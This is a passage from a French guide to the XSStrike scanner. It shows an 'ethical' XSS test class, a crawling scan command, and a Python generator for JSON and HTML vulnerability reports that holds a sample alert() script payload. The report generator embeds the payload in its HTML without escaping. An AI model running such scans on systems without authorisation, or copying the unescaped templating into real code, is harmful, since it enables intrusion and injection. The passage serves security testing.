"""Analyser les résultats de manière éthique"""
findings = []
lines = output.split('\n')
for line in lines:
if any(indicator in line.lower() for indicator in ['xss', 'vulnerable', 'found']):
# Extraire uniquement les informations nécessaires
finding = {
'type': 'XSS Potentiel',
'target': target_url,
'evidence': line.strip(),
'severity': 'À déterminer',
'timestamp': time.time()
}
findings.append(finding)
return findings
def generate_ethical_report(self, target_url, findings):
"""Générer un rapport éthique"""
report = {
'test_info': {
'target': target_url,
'timestamp': time.time(),
'test_type': 'Test XSS Éthique',
'methodology': 'Charges utiles non destructives uniquement'
},
'findings': findings,
'summary': {
'total_findings': len(findings),
'risk_level': 'Élevé' if findings else 'Faible',
'requires_attention': len(findings) > 0
},
'recommendations': self.generate_ethical_recommendations(findings),
'disclaimer': 'Ce test a été effectué de manière éthique avec des charges utiles non destructives.'
}
# Sauvegarder le rapport
report_file = f'ethical_xss_report_{int(time.time())}.json'
with open(report_file, 'w') as f:
import json
json.dump(report, f, indent=2, ensure_ascii=False)
print(f"📄 Rapport sauvegardé: {report_file}")
return report
def generate_ethical_recommendations(self, findings):
"""Générer des recommandations éthiques"""
if not findings:
return [
"Aucune vulnérabilité XSS évidente détectée avec les tests non destructifs.",
"Continuer la surveillance et les tests de sécurité réguliers.",
"Implémenter des mesures de sécurité préventives."
]
recommendations = [
"Vulnérabilités XSS potentielles détectées - Investigation requise.",
"Implémenter une validation et un échappement appropriés des entrées.",
"Configurer des en-têtes de sécurité (CSP, X-XSS-Protection).",
"Effectuer des tests de sécurité plus approfondis.",
"Former l'équipe de développement sur la prévention XSS."
]
return recommendations
# Utilisation éthique
if __name__ == "__main__":
tester = EthicalXSSTest()
# Test sur une cible autorisée
target = "http://testphp.vulnweb.com/search.php"
report = tester.run_ethical_test(target)
if report:
print("📊 Résumé du test:")
print(f" Cible: {report['test_info']['target']}")
print(f" Résultats: {report['summary']['total_findings']} trouvés")
print(f" Niveau de risque: {report['summary']['risk_level']}")
EOF
python3 ethical_xss_test.py
Documentation et Rapport
# Génération de rapport complet
python3 xsstrike.py -u https://example.com --crawl --dom --output-format json > xss_results.json
# Script de génération de rapport
cat > generate_xss_report.py << 'EOF'
#!/usr/bin/env python3
import json
import time
from datetime import datetime
import argparse
class XSSReportGenerator:
def __init__(self):
self.report_template = {
'executive_summary': '',
'technical_details': [],
'risk_assessment': '',
'recommendations': [],
'appendix': {}
}
def generate_executive_summary(self, findings):
"""Générer un résumé exécutif"""
total_findings = len(findings)
critical_count = sum(1 for f in findings if f.get('severity') == 'Critique')
high_count = sum(1 for f in findings if f.get('severity') == 'Élevé')
if critical_count > 0:
risk_level = "CRITIQUE"
urgency = "immédiate"
elif high_count > 0:
risk_level = "ÉLEVÉ"
urgency = "prioritaire"
elif total_findings > 0:
risk_level = "MOYEN"
urgency = "planifiée"
else:
risk_level = "FAIBLE"
urgency = "surveillance continue"
summary = f"""
RÉSUMÉ EXÉCUTIF - ÉVALUATION XSS
Date d'évaluation: {datetime.now().strftime('%d/%m/%Y %H:%M')}
Niveau de risque global: {risk_level}
Action requise: {urgency}
RÉSULTATS:
- Total des vulnérabilités détectées: {total_findings}
- Vulnérabilités critiques: {critical_count}
- Vulnérabilités élevées: {high_count}
IMPACT POTENTIEL:
Les vulnérabilités XSS détectées peuvent permettre à un attaquant d'exécuter du code JavaScript malveillant dans le navigateur des utilisateurs, compromettant ainsi la confidentialité et l'intégrité des données.
RECOMMANDATION PRINCIPALE:
{"Correction immédiate requise" if critical_count > 0 else "Planifier la correction des vulnérabilités identifiées"} et mise en place de mesures de prévention XSS.
"""
return summary.strip()
def generate_technical_details(self, findings):
"""Générer les détails techniques"""
details = []
for i, finding in enumerate(findings, 1):
detail = {
'id': f'XSS-{i:03d}',
'title': finding.get('type', 'Vulnérabilité XSS'),
'url': finding.get('url', 'Non spécifié'),
'parameter': finding.get('parameter', 'Non spécifié'),
'payload': finding.get('payload', 'Non spécifié'),
'severity': finding.get('severity', 'Moyen'),
'description': finding.get('description', 'Vulnérabilité XSS détectée'),
'impact': self.assess_impact(finding),
'remediation': self.suggest_remediation(finding)
}
details.append(detail)
return details
def assess_impact(self, finding):
"""Évaluer l'impact d'une vulnérabilité"""
severity = finding.get('severity', 'Moyen')
impact_map = {
'Critique': 'Compromission complète de la session utilisateur, vol de données sensibles, défacement du site',
'Élevé': 'Vol de cookies de session, redirection malveillante, injection de contenu malveillant',
'Moyen': 'Affichage de contenu non autorisé, perturbation de l\'expérience utilisateur',
'Faible': 'Impact limité, principalement cosmétique'
}
return impact_map.get(severity, 'Impact à déterminer selon le contexte')
def suggest_remediation(self, finding):
"""Suggérer des mesures de correction"""
remediation_steps = [
'1. Valider et échapper toutes les entrées utilisateur',
'2. Implémenter une politique de sécurité du contenu (CSP)',
'3. Utiliser des en-têtes de sécurité appropriés',
'4. Encoder les sorties selon le contexte',
'5. Effectuer des tests de régression'
]
return remediation_steps
def generate_recommendations(self, findings):
"""Générer des recommandations générales"""
recommendations = [
{
'priority': 'Immédiate',
'category': 'Correction',
'description': 'Corriger toutes les vulnérabilités critiques et élevées identifiées'
},
{
'priority': 'Court terme',
'category': 'Prévention',
'description': 'Implémenter une validation d\'entrée et un échappement de sortie systématiques'
},
{
'priority': 'Court terme',
'category': 'Sécurité',
'description': 'Configurer des en-têtes de sécurité (CSP, X-XSS-Protection, X-Frame-Options)'
},
{
'priority': 'Moyen terme',
'category': 'Processus',
'description': 'Intégrer des tests de sécurité automatisés dans le pipeline CI/CD'
},
{
'priority': 'Long terme',
'category': 'Formation',
'description': 'Former l\'équipe de développement sur les bonnes pratiques de sécurité'
}
]
return recommendations
def generate_full_report(self, findings, target_info):
"""Générer un rapport complet"""
report = {
'metadata': {
'report_type': 'Évaluation de Vulnérabilités XSS',
'generated_date': datetime.now().isoformat(),
'target': target_info.get('url', 'Non spécifié'),
'tool': 'XSStrike',
'version': '1.0'
},
'executive_summary': self.generate_executive_summary(findings),
'technical_details': self.generate_technical_details(findings),
'recommendations': self.generate_recommendations(findings),
'appendix': {
'methodology': 'Tests automatisés avec XSStrike',
'scope': target_info.get('scope', 'Application web complète'),
'limitations': 'Tests basés sur les réponses HTTP, validation manuelle recommandée'
}
}
return report
def save_report(self, report, filename):
"""Sauvegarder le rapport"""
with open(filename, 'w', encoding='utf-8') as f:
json.dump(report, f, indent=2, ensure_ascii=False)
print(f"Rapport sauvegardé: {filename}")
# Générer aussi une version HTML
html_filename = filename.replace('.json', '.html')
self.generate_html_report(report, html_filename)
def generate_html_report(self, report, filename):
"""Générer un rapport HTML"""
html_content = f"""
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Rapport d'Évaluation XSS</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; }}
.header {{ background: #f4f4f4; padding: 20px; border-left: 5px solid #333; }}
.section {{ margin: 30px 0; }}
.finding {{ background: #f9f9f9; padding: 15px; margin: 10px 0; border-left: 4px solid #007cba; }}
.critical {{ border-left-color: #d32f2f; }}
.high {{ border-left-color: #f57c00; }}
.medium {{ border-left-color: #fbc02d; }}
.low {{ border-left-color: #388e3c; }}
.recommendation {{ background: #e8f5e8; padding: 10px; margin: 5px 0; }}
pre {{ background: #f5f5f5; padding: 10px; overflow-x: auto; }}
table {{ width: 100%; border-collapse: collapse; }}
th, td {{ border: 1px solid #ddd; padding: 8px; text-align: left; }}
th {{ background-color: #f2f2f2; }}
</style>
</head>
<body>
<div class="header">
<h1>Rapport d'Évaluation XSS</h1>
<p><strong>Date:</strong> {report['metadata']['generated_date']}</p>
<p><strong>Cible:</strong> {report['metadata']['target']}</p>
</div>
<div class="section">
<h2>Résumé Exécutif</h2>
<pre>{report['executive_summary']}</pre>
</div>
<div class="section">
<h2>Détails Techniques</h2>
"""
for detail in report['technical_details']:
severity_class = detail['severity'].lower()
html_content += f"""
<div class="finding {severity_class}">
<h3>{detail['id']}: {detail['title']}</h3>
<p><strong>URL:</strong> {detail['url']}</p>
<p><strong>Paramètre:</strong> {detail['parameter']}</p>
<p><strong>Sévérité:</strong> {detail['severity']}</p>
<p><strong>Description:</strong> {detail['description']}</p>
<p><strong>Impact:</strong> {detail['impact']}</p>
<p><strong>Payload:</strong></p>
<pre>{detail['payload']}</pre>
</div>
"""
html_content += """
</div>
<div class="section">
<h2>Recommandations</h2>
"""
for rec in report['recommendations']:
html_content += f"""
<div class="recommendation">
<h4>{rec['category']} (Priorité: {rec['priority']})</h4>
<p>{rec['description']}</p>
</div>
"""
html_content += """
</div>
</body>
</html>
"""
with open(filename, 'w', encoding='utf-8') as f:
f.write(html_content)
print(f"Rapport HTML généré: {filename}")
# Utilisation
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Générateur de rapport XSS')
parser.add_argument('--input', required=True, help='Fichier JSON des résultats XSStrike')
parser.add_argument('--output', default='xss_report.json', help='Fichier de sortie du rapport')
parser.add_argument('--target', required=True, help='URL cible testée')
args = parser.parse_args()
# Charger les résultats
with open(args.input, 'r') as f:
results = json.load(f)
# Générer le rapport
generator = XSSReportGenerator()
# Simuler des résultats pour l'exemple
findings = [
{
'type': 'XSS Réfléchie',
'url': args.target,
'parameter': 'search',
'payload': '<script>alert("XSS")</script>',
'severity': 'Élevé',
'description': 'Vulnérabilité XSS réfléchie dans le paramètre de recherche'
}
]
target_info = {'url': args.target, 'scope': 'Application complète'}
report = generator.generate_full_report(findings, target_info)
generator.save_report(report, args.output)
print("Génération de rapport terminée!")
EOF
# Générer un rapport
python3 generate_xss_report.py --input xss_results.json --target https://example.com --output rapport_xss_complet.json
Ce guide complet couvre tous les aspects de XSStrike, de l'installation de base aux techniques avancées d'automatisation et de génération de rapports. XSStrike est un outil puissant pour la détection de vulnérabilités XSS, mais il doit toujours être utilisé de manière éthique et responsable, uniquement sur des systèmes pour lesquels vous avez l'autorisation explicite de tester.